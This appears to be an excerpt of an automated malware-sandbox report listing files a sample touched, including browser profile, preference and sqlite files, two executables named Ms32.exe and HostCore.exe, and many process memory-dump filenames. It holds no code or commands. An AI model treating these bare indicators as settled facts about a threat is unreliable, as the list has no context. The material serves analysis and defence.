ExtensionActivityEdge
dasherSettingSchema.json
index
SCT Auditing Pending Reports
Preferences
Preferences
Secure Preferences
Secure Preferences
index
Session_13427206597301295
Session_13427206607380791
load_statistics.db
load_statistics.db-shm
load_statistics.db-wal
000003.log
LOG
LOG.old
MANIFEST-000001
Last Version
Local State
Local State
Local State
Variations
winword.exe.db
cversions.1.db
StartupProfileData-NonInteractive
settings.dat
2823318777ntouromlalnodry--naod.sqlite-shm
3561288849sdhlie.sqlite
installs.ini
profiles.ini
Ms32.exe
HostCore.exe
memory/456-14410-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-2-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/456-7431-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14404-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-450-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/456-14406-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14408-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14402-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-1133-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-1134-0x00000167CF590000-0x00000167CF7F3000-memory.dmp
memory/456-14412-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-13647-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-9192-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-0-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/456-14418-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14400-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14414-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-14416-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/456-1-0x00007FFF5EC1F000-0x00007FFF5EC20000-memory.dmp
memory/908-32-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/908-33-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1072-38-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1072-36-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1164-29-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1164-28-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1388-45-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1388-43-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1428-35-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1428-34-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1464-39-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/1464-37-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-6-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-10-0x000002685C230000-0x000002685C252000-memory.dmp
memory/1704-3-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-21-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-18-0x000002685C510000-0x000002685C5C2000-memory.dmp
memory/1704-19-0x000002685C300000-0x000002685C30A000-memory.dmp
memory/1704-4-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-5-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-9-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-11-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-17-0x000002685C2E0000-0x000002685C2FE000-memory.dmp
memory/1704-13-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-14-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1704-12-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1884-30-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/1884-31-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/2032-49-0x00007FF716210000-0x00007FF71627C000-memory.dmp
memory/2032-48-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/2128-25-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/2128-24-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/2408-3963-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/2408-42-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/3552-26-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/3552-27-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/3788-58-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/3788-59-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/3792-44-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/3792-46-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/4224-8887-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/4224-8886-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/4328-22-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/4328-23-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/4640-40-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/4640-41-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/5912-61-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/5912-60-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp
memory/7308-7596-0x00007FF68F8D0000-0x00007FF68F93C000-memory.dmp
memory/7308-7090-0x00007FFF5EAC0000-0x00007FFF5ED23000-memory.dmp